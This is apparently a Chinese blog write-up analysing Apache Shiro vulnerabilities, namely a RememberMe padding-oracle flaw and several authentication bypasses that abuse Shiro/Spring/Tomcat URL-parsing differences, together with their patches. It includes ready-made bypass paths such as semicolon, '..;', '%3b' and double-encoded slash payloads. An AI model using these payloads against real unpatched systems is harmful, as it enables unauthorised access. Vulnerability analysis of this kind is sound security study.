其核心的获取路径的接口是HttpServletRequest.getContextPath()HttpServletRequest.getRequestURI() 但是当我们输入/./shiro_war_exploded/flag.jsp的时候 HttpServletRequest.getContextPath()的结果是/./shiro_war_exploded HttpServletRequest.getRequestURI()的结果是/./shiro_war_exploded/flag.jsp然后在经过normalize函数之后变成了/shiro_war_exploded/flag.jsp二者不是startsWith关系,所以直接返回/shiro_war_exploded/flag.jsp,这肯定就和我们配置文件中的/flag.jsp不同了。

CVE-2019-12422

su18非常认真的从头到尾分析的。非常佩服。但是反序列化的思路和550是一样的。只不过攻击的是加密方式。 具体参考https://su18.org/post/shiro-2/#contextpath 待学习

漏洞信息

| 漏洞信息 | 详情 | | --- | --- | | 漏洞编号 | CVE-2019-12422/ CNVD-2016-07814/ SHIRO-721 | | 影响版本 | shiro < 1.4.2 (1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1) | | 漏洞描述 | RememberMe Cookie 默认通过 AES-128-CBC 模式加密,这种加密方式容易受到Padding Oracle Attack 攻击,攻击者利用有效的 RememberMe Cookie 作为前缀,然后精心构造 RememberMe Cookie 值来实现反序列化漏洞攻击。 | | 漏洞关键字 | 反序列化 | RememberMe | Padding | CBC | | 漏洞补丁 | Commit-a801878 | | 相关链接 | https://blog.skullsecurity.org/2016/12 https://resources.infosecinstitute.com/topic/padding-oracle-attack-2/ https://codeantenna.com/a/OwWV5Ivtsi |

CVE-2020-1957

漏洞详情

漏洞信息 详情
漏洞编号 CVE-2020-1957 / CNVD-2020-20984 / SHIRO-682
影响版本 shiro 1.x < 1.5.2
漏洞描述 利用Shiro和Spring对uri处理的差异化,越权并成功访问
漏洞关键字 SpringBoot | 差异化处理 | / | 绕过
漏洞补丁 Commit-589f10d && Commit-9762f97 && Commit-3708d79
相关链接 https://issues.apache.org/jira/browse/SHIRO-682

漏洞分析

before分析,先看一下su18写的 > 本 CVE 其实包含了几个版本的修复与绕过过程,这也导致了在网上搜索本 CVE 时可能得到不同 POC 的漏洞复现文章,这里就从头开始说一下。

这证明他是直接在网上搜的,并不是根据jira或者github的时间线梳理得到的统一版本CVE的几个POC。因为我去CVE官网并没有对该版本有很详细的描述。

漏洞描述 在springboot中/resource/menus and resource/menus/都可以获取资源,但是在shiro中patternMatch不能将二者匹配。这一差异导致的权限绕过。 整体逻辑如下:org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain中使用AntPathMatcher匹配路径,其中加/和不加/的匹配为false,然后这里绕过shiro的认证。还需要匹配到spring的servlet,否则无法回显到页面,正好spring中加/和不加/的匹配为true。即使用 uri = uri + '/' 来绕过认证。 filter执行顺序如下,先执行shiro的,最后一个filter执行分发servlet的请求,然后走到spring的路径处理逻辑当中。

spring的这块如下: 需要了解一个类叫做DispatcherSevlet,这是spring中用于找到我们controller对应的handler,并且去调用相应的函数。从org.springframework.web.servlet.DispatcherServlet#doDispatch中的mappedHandler = getHandler(processedRequest);作为入口 使用RequestMappingInfoHandlerMapping.getHandler()方法,在mappingRegistry即所有注册的mapping中查找并添加,其中包括/error和我们controller中的url。

最后在org.springframework.web.servlet.mvc.condition.PatternsRequestCondition#getMatchingPattern将/和不加/的匹配为true。可以看到使用是AntPathMatcher,匹配结果为false,然后patter后面加了一个/,可以看到spring考虑到了,一开始就将useTrailingSlashMatch设置为true,如果末尾没有/则加一个作为最终匹配。然后返回我们的handlerMathod给给DispatcherServlet进行后续的方法调用。

另一个cve shiro 和 spring 对 url 中的 ";" 处理的差别来绕过校验 /abc/..;/;aaa/.///%2e;/admin/password

接下来翻源码,shiro先使用HttpServletRequest.getRequestURI()获取的原始url,然后对原始uri的;的处理逻辑如下,直接截断第一个;之后的内容。 org.apache.shiro.web.util.WebUtils#decodeAndCleanUriString 这与spring中对于原始uri的解析大相径庭,简化的不是一点半点。 下面是spring中相应的解析 UrlPathHelper#decodeAndCleanUriString 假如我们访问路径为:/abc/..;/;aaa/.///%2e;/admin/password 经过removeSemicolonContent后变成/abc/..////./admin/password 经过getSanitizedPath后变成/abc/.././admin/password 最后再路径标准化,处理后变为/admin/password 这就成了绕过点.

同样的对于;的处理逻辑在org.apache.catalina.connector.CoyoteAdapter#parsePathParameters (直接copy了) 也就说,在 Tomcat 的实现下,对于访问 URL 为 /aaaadawdadaws;/..;wdadwadadw/;awdwadwa/audit/list 的请求,使用 request.getServletPath() 就会返回 /audit/list。 而由于 spring 内嵌 tomcat ,又在处理时借鉴了它的思路,所以导致 UrlPathHelper#getPathWithinServletMapping 方法其实无论如何都会返回经过上述处理逻辑过后的路径,也就是 "/audit/list"。

关于tomcaturl解析方式参考如下文章。 tomcat容器url解析特性研究 Tomcat URL解析差异性导致的安全问题

//
/./
/.;/
/aaa/../
/;aaa
/aaa;bbb/../
/aaa;bbb/.././
/aaa/..;./
/aaa;../..;/
/.;/aaa/../
/%2e;/

还有一个问题 只能在springboot的版本<=2.3.0的时候使用原因如下 http://rui0.cn/archives/1643 > 当 Spring Boot 版本在小于等于 2.3.0.RELEASE 的情况下,alwaysUseFullPath 为默认值 false,这会使得其获取 ServletPath ,所以在路由匹配时相当于会进行路径标准化包括对 %2e 解码以及处理跨目录,这可能导致身份验证绕过。而反过来由于高版本将 alwaysUseFullPath 自动配置成了 true 从而开启全路径,又可能导致一些安全问题。

也就是说高版本的无法跳目录了,不能使用类似于../跳目录

public String getLookupPathForRequest(HttpServletRequest request) {
   // Always use full path within current servlet context?
   if (this.alwaysUseFullPath) {
        // 解码,但不处理跨目录,后面会走到goto UrlPathHelper#decodeAndCleanUriString()
      return getPathWithinApplication(request);
   }
   // 路径标准化处理,包括%2e解码以及处理跨目录
   String rest = getPathWithinServletMapping(request);
}

总结 从shiro对;的处理,以及spring对;处理的差异,延伸到了Tomcat对;的处理,进而研究出花里胡哨的Tomcat,spring可以正常解析,但是shiro无法正常解析的绕过方式。最后上述绕过是基于 Spring Boot 版本在小于等于 2.3.0.RELEASE的情况下,alwaysUseFullPath的值为false,对跨目录等进行了处理。 当Spring Boot 版本在大于 2.3.0.RELEASE的情况下,使用全路径(spring boot 自动装配配置),无法再使用如上方式,因为虽然Tomcat可以解析,shiro可以绕过,但是到spring分发servlet的时候无法解析。

漏洞修复

1.5.2版本修复,修复/ https://github.com/apache/shiro/commit/589f10d40414a815dbcaf1f1500a51f41258ef70 对所有请求,都将末尾的/去掉 下面两个分别做了如上处理 PathMatchingFilter.getPathWithinApplication() PathMatchingFilterChainResolver.getChain() 然后提出漏洞的人发现这样修复会产生异常,然后继续修复 https://github.com/apache/shiro/pull/201

第二个漏洞修复:; https://github.com/apache/shiro/commit/3708d7907016bf2fa12691dff6ff0def1249b8ce getRequestURI()换成getContext()+PathgetServlet()+PathgetPathInfo()拼接成的的路径

其他 过程中我翻shiro的github,发现他大部分bug都在jira上提的,并且翻漏洞的时候找到一个宝藏网站:https://security.snyk.io/vuln/maven,里面有很多漏洞可以复现。而且可以直接搜索到CVE对应的github描述链接。我们的CVE-2020-1957也可在上面搜索

CVE-2020-11989

漏洞信息

| 漏洞信息 | 详情 | | --- | --- | | 漏洞编号 | CVE-2020-11989/ SHIRO-753 | | 影响版本 | shiro < 1.5.3 | | 漏洞描述 | 由安全研究员 Ruilin 以及淚笑发现在 Apache Shiro 1.5.3 之前的版本, 将 Apache Shiro 与 Spring 动态控制器一起使用时,特制请求可能会导致身份验证绕过。 | | 漏洞关键字 | Spring | 双重编码 | %25%32%66 | 绕过 | context-path | /;/ | | 漏洞补丁 | Commit-01887f6 | | 相关链接 | https://xlab.tencent.com/cn/2020/06/30/xlab-20-002/ https://mp.weixin.qq.com/s/yb6Tb7zSTKKmBlcNVz0MBA |

漏洞分析

AntPathMater绕过

由于1.5.2版本修复漏洞使用了getContext()+PathgetServlet()+PathgetPathInfo()替换getRequestURI()这样,其中的PathgetServlet()就会对uri解码一次,其后面的decodeAndCleanUriString函数还会进行一次解码,这就是二次解码。而spring中,只会进行一次解码,这就造成了绕过的可能。 /二次编码: %25%32%66

public static String getRequestUri(HttpServletRequest request) {
    String uri = (String) request.getAttribute(INCLUDE_REQUEST_URI_ATTRIBUTE);
    if (uri == null) {
        uri = valueOrEmpty(request.getContextPath()) + "/" +
              valueOrEmpty(request.getServletPath()) +
              valueOrEmpty(request.getPathInfo());
    }
    return normalize(decodeAndCleanUriString(request, uri));
}

详情请见: https://xlab.tencent.com/cn/2020/06/30/xlab-20-002/

ContextPath绕过

这里是针对CVE-2020-1957的翻版,在 ContextPath 之前使用 /;/ 来绕过,同时根据作者的描述,当version=1.5.2的时候需要contextpath不为/或者version<1.5.2的时候允许为/。在这种情况下访问/;/contextpath/admin/password

  1. Tomcat和Spring都会路径处理将/;/替换为/识别contextpath
  2. 而shiro会截断;后面的内容作为requestUri,最终变成了/匹配

其中HttpServletRequest.getContextPath()获取的结果为/;/contextpath/ 而如果我们在context之后使用/;/那么HttpServletRequest.getServletPath()则会把他清除掉其会标准化路径处理。

public static String getRequestUri(HttpServletRequest request) {
    String uri = (String) request.getAttribute(INCLUDE_REQUEST_URI_ATTRIBUTE);
    if (uri == null) {
        uri = valueOrEmpty(request.getContextPath()) + "/" +
              valueOrEmpty(request.getServletPath()) +
              valueOrEmpty(request.getPathInfo());
    }
    return normalize(decodeAndCleanUriString(request, uri));
}
private static String decodeAndCleanUriString(HttpServletRequest request, String uri) {
    uri = decodeRequestString(request, uri);
    int semicolonIndex = uri.indexOf(';');
    return (semicolonIndex != -1 ? uri.substring(0, semicolonIndex) : uri);
}

漏洞修复

1.5.3版本修复 https://github.com/apache/shiro/commit/b90f91875e5e18c4805013c2fa0567b1700f5a96 su18的解读如下 > 首先 shiro 回退了 WebUtils#getRequestUri 的代码,并将其标记为 @Deprecated。并建议使用 getPathWithinApplication() 方法获取路径减去上下文路径,或直接调用 HttpServletRequest.getRequestURI() 方法获取。 > 其次是在 WebUtils#getPathWithinApplication 方法,修改了使用 RequestUri 去除 ContextPath 的减法思路,改为使用 servletPath + pathInfo 的加法思路。加法过后使用 removeSemicolon 方法处理分号,normalize 方法标准化路径。 > 更新后,shiro 不再处理 contextPath,不会导致绕过,同时也避免了二次 URL 解码的问题。

他真正看明白了,而我只是草草的理解。

CVE-2020-13933

漏洞信息

漏洞信息 详情
漏洞编号 CVE-2020-13933/ CNVD-2020-46579
影响版本 shiro < 1.6.0
漏洞描述 Apache Shiro 由于处理身份验证请求时存在权限绕过漏洞,远程攻击者可以发送特制的HTTP请求,绕过身份验证过程并获得对应用程序的未授权访问。
漏洞关键字 Spring | 顺序 | %3b | 绕过
漏洞补丁 Commit-dc194fc
相关链接 https://xz.aliyun.com/t/8223

漏洞分析

模仿CVE-2020-11989使用;绕过AntPathMatcher的匹配

public static String getPathWithinApplication(HttpServletRequest request) {
    return normalize(removeSemicolon(getServletPath(request) + getPathInfo(request)));
}

shiro

  1. getServletPath解码一次
  2. removeSemicolon去除分号
  3. normalize路径标准化

    private String decodeAndCleanUriString(HttpServletRequest request, String uri) {
       uri = removeSemicolonContent(uri);
       uri = decodeRequestString(request, uri);
       uri = getSanitizedPath(uri);
       return uri;
    }

    Spring

  4. removeSemicolon去除分号
  5. decodeRequestString解码
  6. getSanitizedPath标准化路径

找到差异,然后环境和上面是一样的,都是使用/*匹配加上@PathVariable String name获取路径参数 访问:/hello/%3ba shiro->/hello/绕过/hello/*(AntPathMatcher特性) spring->/hello/;ba成功匹配/hello/{name}

漏洞修复

1.7.0版本修复 修复的位置:https://github.com/apache/shiro/commit/dc194fc977ab6cfbf3c1ecb085e2bac5db14af6d?diff=unified 新建了一个过滤器,如果请求中存在分号,反斜杠则禁止访问,并返回400错误码。 过滤器为全局过滤器 使其默认匹配/**

总结

前面自己写的时候太过粗心大意,导致后面分析的时候需要前面的内容重新推演,有很多细节没考虑到。 然后限于理解力的差异,把一个东西通俗的讲出来对我来说不容易。

一些东西想当然了,看别人得出这样的结论,然后自己调试差不多正确就结束了。但是其实很多问题没有深入思考,等积累多了,就会把模糊的结论放大,造成一个非常不清晰的,无法继续的研究。 即便是官方的漏洞修复,也要彻底搞懂,不能一知半解的理解。

信息获取是需要靠积累的,往往找到一个信息源之后,信息就不再匮乏。信息获取也不应该是单一的,不能只看中文,或者只看英文。 官方文档必须要读懂读透。 把知道的和不知道的全部以最简洁的形式写出来,不要嫌麻烦。就好像中学时候学数学,老师教我们在草稿纸上都写出来,如果没都写出来,回过头来会很乱,思路不清晰,还要重新梳理。 边学习变挖漏洞是一个加深学习的好方式。在学习途中,我就挖到一个漏洞,13k star的一个项目。

参考

https://su18.org/post/shiro-1/ https://su18.org/post/shiro-2/ https://su18.org/post/shiro-3/ https://xz.aliyun.com/t/11633 https://developer.aliyun.com/article/863792